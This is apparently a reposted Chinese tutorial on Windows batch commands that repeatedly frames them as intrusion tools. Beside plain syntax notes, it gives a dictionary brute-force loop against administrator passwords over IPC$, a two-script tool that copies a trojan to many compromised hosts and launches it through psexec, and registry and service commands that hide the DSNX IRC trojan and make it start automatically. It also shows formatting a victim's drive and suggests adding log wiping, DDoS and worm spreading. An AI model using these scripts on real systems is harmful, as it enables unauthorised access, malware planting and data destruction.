1. 程式人生 > >bat 常用命令大全 及 解析

bat 常用命令大全 及 解析



一.簡單批處理內部命令簡介
1.Echo 命令
打開回顯或關閉請求回顯功能,或顯示訊息。如果沒有任何引數,echo 命令將顯示當前回顯設定。
  語法
echo [{on│off}] [message]
Sample:@echo off / echo hello world
在實際應用中我們會把這條命令和重定向符號(也稱為管道符號,一般用> >> ^)結合來實現輸入一些命令到特定格式的檔案中.這將在以後的例子中體現出來。

[email protected] 命令
表示不顯示@ 後面的命令,在入侵過程中(例如使用批處理來格式化敵人的硬碟)自然不能讓對方看到你使用的命令啦 。
Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 這個命令是不可以使用/y這個引數的,可喜的是微軟留了個autoset這個引數給我們,效果和/y是一樣的。)

3.Goto 命令
指定跳轉到標籤,找到標籤後,程式將處理從下一行開始的命令。
語法:goto label (label是引數,指定所要轉向的批處理程式中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果這裡的if、%1、%2就是表示變數。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
  標籤的名字可以隨便起,但是最好是有意義的字母啦,字母前加個:用來表示這個字母是標籤, : 開頭的字元行 , 在批處理中都被視作標號 , 而直接忽略其後的所有內容 , 只是為了與正常的標號相區別 , 建議使用 goto 所無法識別的標號 , 即在 : 後緊跟一個非字母數字的一個特殊符號 . goto 命令就是根據這個:來尋找下一步跳到到那裡。最好有一些說明這樣你別人看起來才會理解你的意圖啊。

4.Rem 命令
註釋命令,起一個註釋的作用,便於別人閱讀和你自己日後修改。
Rem Message
Sample:@Rem Here is the description.

5.Pause 命令
執行 Pause 命令時,將顯示下面的訊息:
Press any key to continue . . .
Sample:
@echo off
:begin
copy a:*.* d: \back
echo Please put a new disk into driver A
pause
goto begin
在這個例子中,驅動器 A 中磁碟上的所有檔案均複製到d:\back中。顯示的註釋提示您將另一張磁碟放入驅動器 A 時,pause 命令會使程式掛起,以便您更換磁碟,然後按任意鍵繼續處理。

6.Call 命令
從一個批處理程式呼叫另一個批處理程式,並且不終止父批處理程式。call 命令接受用作呼叫目標的標籤。如果在指令碼或批處理檔案外使用 Call,它將不會在命令列起作用。
語法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
引數
[Drive:}[Path] FileName
指定要呼叫的批處理程式的位置和名稱。filename 引數必須具有 .bat 或 .cmd 副檔名。

7.start 命令
呼叫外部程式,所有的DOS命令和命令列程式都可以由start命令來呼叫。
入侵常用引數:
MIN 開始時視窗最小化
SEPARATE 在分開的空間內開始 16 位 Windows 程式
HIGH 在 HIGH 優先順序類別開始應用程式
REALTIME 在 REALTIME 優先順序類別開始應用程式
WAIT 啟動應用程式並等候它結束
parameters 這些為傳送到命令/程式的引數
執行的應用程式是 32-位 GUI 應用程式時,CMD.EXE 不等應用程式終止就返回命令提示。如果在命令指令碼內執行,該新行為則不會發生。

8.choice 命令
choice 使用此命令可以讓使用者輸入一個字元,從而執行不同的命令。使用時應該加/c:引數,c:後應寫提示可輸入的字元,之間無空格。它的返回碼為 1234......
如 : choice /c:dme defrag,mem,end
將顯示
defrag,mem,end[D,M,E]?
Sample:
Sample.bat的內容如下 :
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (應先判斷數值最高的錯誤碼)
if errorlevel 2 goto mem
if errotlevel 1 goto end

:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye

此檔案執行後,將顯示 defrag,mem,end[D,M,E]? 使用者可選擇d m e ,然後if語句將作出判斷,d表示執行標號為defrag的程式段,m表示執行標號為mem的程式段,e表示執行標號為end的程式段,每個程式段最後都以goto end將程式跳到end標號處,然後程式將顯示good bye,檔案結束。

9.If 命令

if 表示將判斷是否符合規定的條件,從而決定執行不同的命令。 有三種格式 :
a、if "引數" == "字串"  待執行的命令
引數如果等於指定的字串,則條件成立,執行命令,否則執行下一句。(注意是兩個等號)
如 if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms

b 、if exist 檔名  待執行的命令
如果有指定的檔案,則條件成立,執行命令,否則執行下一句。
如if exist config.sys edit config.sys

c 、if errorlevel / if not errorlevel 數字 待執行的命令
如果返回碼等於指定的數字,則條件成立,執行命令,否則執行下一句。
如if errorlevel 2 goto x2  
DOS程式執行時都會返回一個數字給DOS,稱為錯誤碼errorlevel或稱返回碼,常見的返回碼為0、1。

10.for 命令

bat執行一個迴圈輸出  找了很久

@echo off
SETLOCAL ENABLEDELAYEDEXPANSION
for /l %%i in (1 1 1000) do (
    set var=%%i  
 echo !var! abcd 
 echo %var% efgh
)


for 命令是一個比較複雜的命令,主要用於引數在指定的範圍內迴圈執行命令。
在批處理檔案中使用 FOR 命令時,指定變數請使用 %%variable

for {%variable│%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一個單一字母可替換的引數。
(set) 指定一個或一組檔案。可以使用萬用字元。
command 指定對每個檔案執行的命令。
command-parameters 為特定命令指定引數或命令列開關。
在批處理檔案中使用 FOR 命令時,指定變數請使用 %%variable
而不要用 %variable。變數名稱是區分大小寫的,所以 %i 不同於 %I

如果命令副檔名被啟用,下列額外的 FOR 命令格式會受到 支援:

FOR /D %variable IN (set) DO command [command-parameters]

如果集中包含萬用字元,則指定與目錄名匹配,而不與檔名匹配。

FOR /R [[drive:]path] %variable IN (set) DO command [command-

檢查以 [drive:]path 為根的目錄樹,指向每個目錄中的 FOR 語句。如果在 /R 後沒有指定目錄,則使用當前 目錄。如果集僅為一個單點(.)字元,則列舉該目錄樹。

FOR /L %variable IN (start,step,end) DO command [command-para

該集表示以增量形式從開始到結束的一個數字序列。因此,(1,1,5) 將產生序列 1 2 3 4 5,(5,-1,1) 將產生 序列 (5 4 3 2 1)。

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN ('command') DO command

或者,如果有 usebackq 選項:

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN ('command') DO command

filenameset 為一個或多個檔名。繼續到 filenameset 中的 下一個檔案之前,每份檔案都已被開啟、讀取並經過處理。 處理包括讀取檔案,將其分成一行行的文字,然後將每行 解析成零或更多的符號。然後用已找到的符號字串變數值呼叫 For 迴圈。以預設方式,/F 通過每個檔案的每一行中分開的第一個空白符號。跳過空白行。您可通過指定可選 "options" 引數替代預設解析操作。這個帶引號的字串包括一個或多個指定不同解析選項的關鍵字。這些關鍵字為:

eol=c - 指一個行註釋字元的結尾(就一個 )
skip=n - 指在檔案開始時忽略的行數。
delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的預設分隔符集。
tokens=x,y,m-n - 指每行的哪一個符號被傳遞到每個迭代的 for 本身。這會導致額外變數名稱的格式為一個範圍。通過 nth 符號指定 m 符號字串中的最後一個字元星號, 那麼額外的變數將在最後一個符號解析之分配並接受行的保留文字。
usebackq - 指定新語法已在下類情況中使用: 在作為命令執行一個後引號的字串並且引號字元為文字字串命令並允許在 fi中使用雙引號擴起檔名稱。
sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command

會分析 myfile.txt 中的每一行,忽略以分號打頭的那些行,將 每行中的第二個和第三個符號傳遞給 for 程式體;用逗號和/或空格定界符號。請注意,這個 for 程式體的語句引用 %i 來取得第二個符號,引用 %j 來取得第三個符號,引用 %k 來取得第三個符號後的所有剩餘符號。對於帶有空格的檔名,您需要用雙引號將檔名括起來。為了用這種方式來使用雙引號,您還需要使用 usebackq 選項,否則,雙引號會被理解成是用作定義某個要分析的字串的。

%i 專門在 for 語句中得到說明,%j 和 %k 是通過tokens= 選項專門得到說明的。您可以通過 tokens= 一行指定最多 26 個符號,只要不試圖說明一個高於字母 'z' 或'Z' 的變數。請記住,FOR 變數是單一字母、分大小寫和全域性的;同時不能有 52 個以上都在使用中。

您還可以在相鄰字串上使用 FOR /F 分析邏輯;方法是,用單引號將括號之間的 filenameset 括起來。這樣,該字串會被當作一個檔案中的一個單一輸入行。

最後,您可以用 FOR /F 命令來分析命令的輸出。方法是,將括號之間的 filenameset 變成一個反括字串。該字串會被當作命令列,傳遞到一個子 CMD.EXE,其輸出會被抓進記憶體,並被當作檔案分析。因此,以下例子:

FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

會列舉當前環境中的環境變數名稱。另外,FOR 變數參照的替換已被增強。您現在可以使用下列選項語法:

~I - 刪除任何引號("),擴充 %I
%~fI - 將 %I 擴充到一個完全合格的路徑名
%~dI - 僅將 %I 擴充到一個驅動器號
%~pI - 僅將 %I 擴充到一個路徑
%~nI - 僅將 %I 擴充到一個檔名
%~xI - 僅將 %I 擴充到一個副檔名
%~sI - 擴充的路徑只含有短名
%~aI - 將 %I 擴充到檔案的檔案屬性
%~tI - 將 %I 擴充到檔案的日期/時間
%~zI - 將 %I 擴充到檔案的大小
%~$PATH:I - 查詢列在路徑環境變數的目錄,並將 %I 擴充到找到的第一個完全合格的名稱。如果環境變數未被定義,或者沒有找到檔案,此組合鍵會擴充空字串

可以組合修飾符來得到多重結果:

%~dpI - 僅將 %I 擴充到一個驅動器號和路徑
%~nxI - 僅將 %I 擴充到一個檔名和副檔名
%~fsI - 僅將 %I 擴充到一個帶有短名的完整路徑名
%~dp$PATH:i - 查詢列在路徑環境變數的目錄,並將 %I 擴充到找到的第一個驅動器號和路徑。
%~ftzaI - 將 %I 擴充到類似輸出線路的 DIR

在以上例子中,%I 和 PATH 可用其他有效數值代替。%~ 語法用一個有效的 FOR 變數名終止。選取類似 %I 的大寫變數名比較易讀,而且避免與不分大小寫的組合鍵混淆。

以上是MS的官方幫助,下面我們舉幾個例子來具體說明一下For命令在入侵中的用途。

sample2 :

利用For命令來實現對一臺目標Win2k主機的暴力密碼破解。
我們用net use \\ip\ipc$ "password" /u:"administrator"來嘗試這和目標主機進行連線,當成功時記下密碼。
最主要的命令是一條: for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
用i%來表示admin的密碼,在dict.txt中這個取i%的值用net use 命令來連線。然後將程式執行結果傳遞給find命令--
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"│find ": 命令成功完成">>D:\ok.txt ,這樣就ko了。

sample3 :

你有沒有過手裡有大量肉雞等著你去種後門+木馬呢?,當數量特別多的時候,原本很開心的一件事都會變得很鬱悶:)。文章開頭就談到使用批處理檔案,可以簡化日常或重複性任務。那麼如何實現呢?呵呵,看下去你就會明白了。

主要命令也只有一條:(在批處理檔案中使用 FOR 命令時,指定變數使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法請參見上面的sample1,在這裡它表示按順序將victim.txt中的內容傳遞給door.bat中的引數%i %j %k。
而cultivate.bat無非就是用net use命令來建立IPC$連線,並copy木馬+後門到victim,然後用返回碼(If errorlever =)來篩選成功種植後門的主機,並echo出來,或者echo到指定的檔案。
delims= 表示vivtim.txt中的內容是一空格來分隔的。我想看到這裡你也一定明白這victim.txt裡的內容是什麼樣的了。應該根據%%i %%j %%k表示的物件來排列,一般就是 ip password username。
程式碼雛形:
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------

------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection ............OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@p*** ec \\%1 c:\winnt\system32\windrv32.exe
@p*** ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
這只是一個自動種植後門批處理的雛形,兩個批處理和後門程式(Windrv32.exe),PSexec.exe需放在統一目錄下.批處理內容
尚可擴充套件,例如:加入清除日誌+DDOS的功能,加入定時新增使用者的功能,更深入一點可以使之具備自動傳播功能(蠕蟲).此處不多做敘述,有興趣的朋友可自行研究.

二.如何在批處理檔案中使用引數
批處理中可以使用引數,一般從1%到 9%這九個,當有多個引數時需要用shift來移動,這種情況並不多見,我們就不考慮它了。
sample1: fomat.bat
@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
這個例子用於連續地格式化幾張軟盤,所以用的時候需在dos視窗輸入fomat.bat a,呵呵,好像有點畫蛇添足了~
sample2:
當我們要建立一個IPC$連線地時候總要輸入一大串命令,弄不好就打錯了,所以我們不如把一些固定命令寫入一個批處理,把肉雞地ip password username 當著引數來賦給這個批處理,這樣就不用每次都打命令了。
@echo off
@net use \\1%\ipc$ "2%" /u:"3%" 注意哦,這裡PASSWORD是第二個引數。
@if errorlevel 1 echo connection failed
怎麼樣,使用引數還是比較簡單的吧?你這麼帥一定學會了 .No.3
三.如何使用組合命令(Compound Command)

1.&

Usage :第一條命令 & 第二條命令 [& 第三條命令...]

用這種方法可以同時執行多條命令,而不管命令是否執行成功

Sample :
C:\>dir z: & dir c:\Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of c:\Ex4rch

2002-05-14 23:51 .
2002-05-14 23:51 ..
2002-05-14 23:51 14 sometips.gif

2.&&

Usage :第一條命令 && 第二條命令 [&& 第三條命令...]

用這種方法可以同時執行多條命令,當碰到執行出錯的命令後將不執行後面的命令,如果一直沒有出錯則一直執行完所有命令;

Sample :
C:\>dir z: && dir c:\Ex4rch
The system cannot find the path specified.

C:\>dir c:\Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of c:\Ex4rch

2002-05-14 23:55 .
2002-05-14 23:55 ..
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.

在做備份的時候可能會用到這種命令會比較簡單,如:
dir file&://192.168.0.1/database/backup.mdb && copy file&://192.168.0.1/database/backup.mdb E:\backup
如果遠端伺服器上存在backup.mdb檔案,就執行copy命令,若不存在該檔案則不執行copy命令。這種用法可以替換IF exist了 :)

3.││

Usage :第一條命令 ││ 第二條命令 [││ 第三條命令...]

用這種方法可以同時執行多條命令,當碰到執行正確的命令後將不執行後面的命令,如果沒有出現正確的命令則一直執行完所有命令;

Sample :
C:\Ex4rch>dir sometips.gif ││ del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of C:\Ex4rch

2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free

組合命令使用的例子:
sample:
@copy trojan.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt

四、管道命令的使用

1.│ 命令
Usage:第一條命令 │ 第二條命令 [│ 第三條命令 ...]
將第一條命令的結果作為第二條命令的引數來使用,記得在unix中這種方式很常見。

sample :
time /t>>D:\IP.log
netstat -n -p tcp│find ":3389">>D:\IP.log
start Explorer
看出來了麼?用於終端服務允許我們為使用者自定義起始的程式,來實現讓使用者執行下面這個bat,以獲得登入使用者的IP。

2.> 、>>輸出重定向命令
將一條命令或某個程式輸出結果的重定向到特定檔案中, > 與 >>的區別在於,>會清除調原有檔案中的內容後寫入指定檔案,而>>只會追加內容到指定檔案中,而不會改動其中的內容。

sample1 :
echo hello world>c:\hello.txt (stupid example?)

sample2:
時下DLL木馬盛行,我們知道system32是個捉迷藏的好地方,許多木馬都削尖了腦袋往那裡鑽,DLL馬也不例外,針對這一點我們可以在安裝好系統和必要的應用程式後,對該目錄下的EXE和DLL檔案作一個記錄:
執行CMD--轉換目錄到 system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,
這樣所有的EXE和DLL檔案的名稱都被分別記錄到exeback.txt和dllback.txt中 ,
日後如發現異常但用傳統的方法查不出問題時,則要考慮是不是系統中已經潛入DLL木馬了 .
這時我們用同樣的命令將system32下的EXE和DLL檔案記錄到另外的exeback1.txt和dllback1.txt中,然後執行 :
CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命令比較前後兩次的DLL和EXE檔案,並將結果輸入到diff.txt中),這樣我們就能發現一些多出來的DLL和EXE檔案,然後通過檢視建立時間、版本、是否經過壓縮等就能夠比較容易地判斷出是不是已經被DLL木馬光顧了。沒有是最好,如果有的話也不要直接DEL掉,先用regsvr32 /u trojan.dll將後門DLL檔案登出掉,再把它移到回收站裡,若系統沒有異常反映再將之徹底刪除或者提交給防毒軟體公司。

3.< 、>& 、 <&
< 從檔案中而不是從鍵盤中讀入命令輸入。
>& 將一個控制代碼的輸出寫入到另一個控制代碼的輸入中。
<& 從一個控制代碼讀取輸入並將其寫入到另一個控制代碼輸出中。
這些並不常用,也就不多做介紹。

No.5
五.如何用批處理檔案來操作登錄檔

在入侵過程中經常回操作登錄檔的特定的鍵值來實現一定的目的,例如:為了達到隱藏後門、木馬程式而刪除Run下殘餘的鍵值。或者建立一個服務用以載入後門。當然我們也會修改登錄檔來加固系統或者改變系統的某個屬性,這些都需要我們對登錄檔操作有一定的瞭解。下面我們就先學習一下如何使用.REG檔案來操作登錄檔.(我們可以用批處理來生成一個REG檔案 )
關於登錄檔的操作,常見的是建立、修改、刪除。

1. 建立
建立分為兩種,一種是建立子項(Subkey)

我們建立一個檔案,內容如下:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker]

然後執行該指令碼,你就已經在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下建立了一個名字為"hacker"的子項。

另一種是建立一個專案名稱
那這種檔案格式就是典型的檔案格式,和你從登錄檔中匯出的檔案格式一致,內容如下:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Invader"="Ex4rch"
"Door"=C:\\WINNT\\system32\\door.exe
"Autodos"=dword:02

這樣就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下
新建了:Invader、door、about這三個專案
Invader的型別是 "String value"
door的型別是 "REG SZ value"
Autodos的型別是"DWORD value"

2. 修改
修改相對來說比較簡單,只要把你需要修改的專案匯出,然後用記事本進行修改,然後匯入(regedit /s)即可。

3. 刪除
我們首先來說說刪除一個專案名稱,我們建立一個如下的檔案:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Ex4rch"=-

執行該指令碼,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下的"Ex4rch"就被刪除了;

我們再看看刪除一個子項,我們建立一個如下的指令碼:

Windows Registry Editor Version 5.00

[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

執行該指令碼,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]就已經被刪除了。

相信看到這裡,.reg檔案你基本已經掌握了。那麼現在的目標就是用批處理來建立特定內容的.reg檔案了,記得我們前面說道的利用重定向符號可以很容易地建立特定型別的檔案。

samlpe1: 如上面的那個例子,如想生成如下注冊表文件
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Invader"="Ex4rch"
"door"=hex:255
"Autodos"=dword:000000128
只需要這樣:
@echo Windows Registry Editor Version 5.00>>Sample.reg

@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>Sample.reg
@echo "Invader"="Ex4rch">>Sample.reg
@echo "door"=5>>C:\\WINNT\\system32\\door.exe>>Sample.reg
@echo "Autodos"=dword:02>>Sample.reg

samlpe2:
我們現在在使用一些比較老的木馬時,可能會在登錄檔的[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run(Runonce、Runservices、Runexec)]下生成一個鍵值用來實現木馬的自啟動.但是這樣很容易暴露木馬程式的路徑,從而導致木馬被查殺,相對地若是將木馬程式註冊為系統服務則相對安全一些.下面以配置好地IRC木馬DSNX為例(名為 windrv32.exe)
@start windrv32.exe
@attrib +h +r windrv32.exe
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>patch.dll
@echo "windsnx "=- >>patch.dll
@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:\winnt\system32\windrv32.exe
@regedit /s patch.dll
@delete patch.dll

@REM [ 刪除DSNXDE在登錄檔中的啟動項,用sc.exe將之註冊為系統關鍵性服務的同時將其屬性設為隱藏和只讀,並config為自啟動 ]
@REM 這樣不是更安全. 



相關推薦

bat 常用命令大全 解析

 一.簡單批處理內部命令簡介 1.Echo 命令 打開回顯或關閉請求回顯功能,或顯示訊息。如果沒有任何引數,echo 命令將顯示當前回顯設定。   語法 echo [{on│off}] [message] Sample:@echo off / echo hel

企業Linux系統管理員常用命令大全例項解析(1)

作為一名企業Linux系統管理員,熟悉並熟練運用一些常用的命令是必不可少的,對裝置即檔案的Linux系統來說,Linux系統管理的命令是它正常執行的核心。筆者根據實際工作總結一些常用指令,附上一些

Redis快速起步Redis常用命令大全

本系列教程內容提要 Java工程師之Redis實戰系列教程教程是一個學習教程,是關於Java工程師的Redis知識的實戰系列教程,本系列教程均以解決特定問題為目標,使用Redis快速解決在實際生產中的相關問題,為了更方便的與大家一起探討與學習,每個章節均提供儘可能詳細的示例原始碼及註釋,所有示例原始碼均可在

Linux三種網路訪問模式常用命令大全

1 三種網路訪問方式 1:橋接模式,將虛擬機器當做一臺獨立的電腦 2:僅主機模式,虛擬機器可以訪問宿主機,宿主機不可以訪問虛擬機器,虛擬機器不能上網 3:NAT模式,虛擬機器可以連線宿主機並且通過宿主機上網,這個模式下,宿主機就相當於一臺路由器最多可以連線245臺虛擬機器 2 linux

SecureCRT 常用命令大全

中文 最後一行 orm dib tin http 擁有 運行 set 常用命令:一、ls 只列出文件名 (相當於dir,dir也可以使用) -A:列出所有文件,包含隱藏文件。 -l:列表形式,包含文件的絕大部分屬性。 -R:遞歸顯示。 --help:此命令的幫助。 二、cd

Linux常用命令大全

min ubun 依據 resize mii-tool awk using inputfile 設備 系統信息 arch 顯示機器的處理器架構(1) uname -m 顯示機器的處理器架構(2) uname -r 顯示正在使用的內核版本 dmidecode -q 顯示硬件系

Git 常用命令大全

版本控制系統 分布 刪除指定文件 顯示 本地庫 手動 diff commit div Git 是一個很強大的分布式版本控制系統。它不但適用於管理大型開源軟件的源代碼,管理私人的文檔和源代碼也有很多優勢。 Git常用操作命令: 1) 遠程倉庫相關命令 檢出倉庫:$ git

centos7(常用命令大全

centos7常用命令管理centos服務器的時候常會對文件進行一些常規操作,除了ftp之外了解在ssh下必要的文件操作命令那也是必不可少的,以下摘錄一些常用的文件操作命令:文件操作: ls ####查看目錄中的文件#### ls -F ####查看目錄中的文件#### ls -l ####顯示文件和目錄的詳

BAT常用命令

寫入 區分 等號 錯誤報告 為我 命令執行 hlist echo命令 link 1、@它的作用是隱藏它後面這一行的命令本身(只能影響當前行)。2、echo中 文為“反饋”、“回顯”的意思。它其實是一個開關命令,就是說它只

mac常用命令大全

內容 root cache 0.12 owa 查看 nload modules library Mac設置允許任何來源軟件運行 sudo spctl --master-disable 終端中打開文件或目錄 open Terminal所在位置打開finder o

電腦高手必備————常用命令大全

net user 查看 設備管理器 安全 table ces perf 查詢 ack 系統管理及系統信息查看 explorer 系統配置編輯器 msinfo32 系統信息 taskmgr 任務管理器 tasklist 進程和服務

mysql常用命令大全

詳細 pre denied 隱患 命令 緩存 如果 數據庫權限 磁盤空間 第一招、mysql服務的啟動和停止 net stop mysql net start mysql 第二招、登陸mysql 語法如下: mysql -u用戶名 -p用戶密碼 鍵入命令mysql -uro

Linux常用命令大全(非常全!!!)(轉)

mkfs 類型 e2fs 樹形 nmb id號 中間 vid path 最近都在和Linux打交道,感覺還不錯。我覺得Linux相比windows比較麻煩的就是很多東西都要用命令來控制,當然,這也是很多人喜歡linux的原因,比較短小但卻功能強大。我將我了解到的命令列

vuex - 常用命令學習用法整理

UNC 實例 tab justify 用法 變更 fun -c method https://vuex.vuejs.org/zh-cn/api.html 命令 用途 備註 this.$store 組件中訪問store實例 stor

Linux 常用命令大全

rem AS style clock HERE 同時存在於 mask imp 硬件 Linux常用命令大全 1.系統信息 arch 顯示機器的處理器架構(1) uname -m 顯示機器的處理器架構(2) uname -r 顯示正在使用的內核版本 dmidecode -

寶塔面板常用命令大全

寶塔面板常用命令大全!安裝寶塔Centos安裝腳本yum install -y wget && wget -O install.sh http://download.bt.cn/install/install.sh && sh install.shUbuntu/Deepin安裝

Linux常用命令大全(非常全!!!)

www. ssa chat opp general 處理器 chmod 常用命令 掃描 最近都在和Linux打交道,感覺還不錯。我覺得Linux相比windows比較麻煩的就是很多東西都要用命令來控制,當然,這也是很多人喜歡linux的原因,比較短小但卻功能強大。我將我了解

大數據之---hadoop常用命令大全終極篇

大數據 Hadoop 軟件環境 RHEL6.8 hadoop2.8.1 apache-maven-3.3.9findbugs-1.3.9 protobuf-2.5.0.tar.gz jdk-8u45(操作環境root安裝啟動的hadoop)hadoop fs == hdfs dfs 將文件上傳至ha

轉 Git 常用命令大全

gitignore -- 相關配置 object 相同 更改 友好 table file 一、 Git 常用命令速查 git branch 查看本地所有分支 git status 查看當前狀態 git commit 提交 git branch -a 查看所有的分支

控制臺常用命令大全

XML int t對象 all table 表達 pre ima func 一、顯示信息的命令 1: <!DOCTYPE html> 2: <html> 3: <head> 4: <title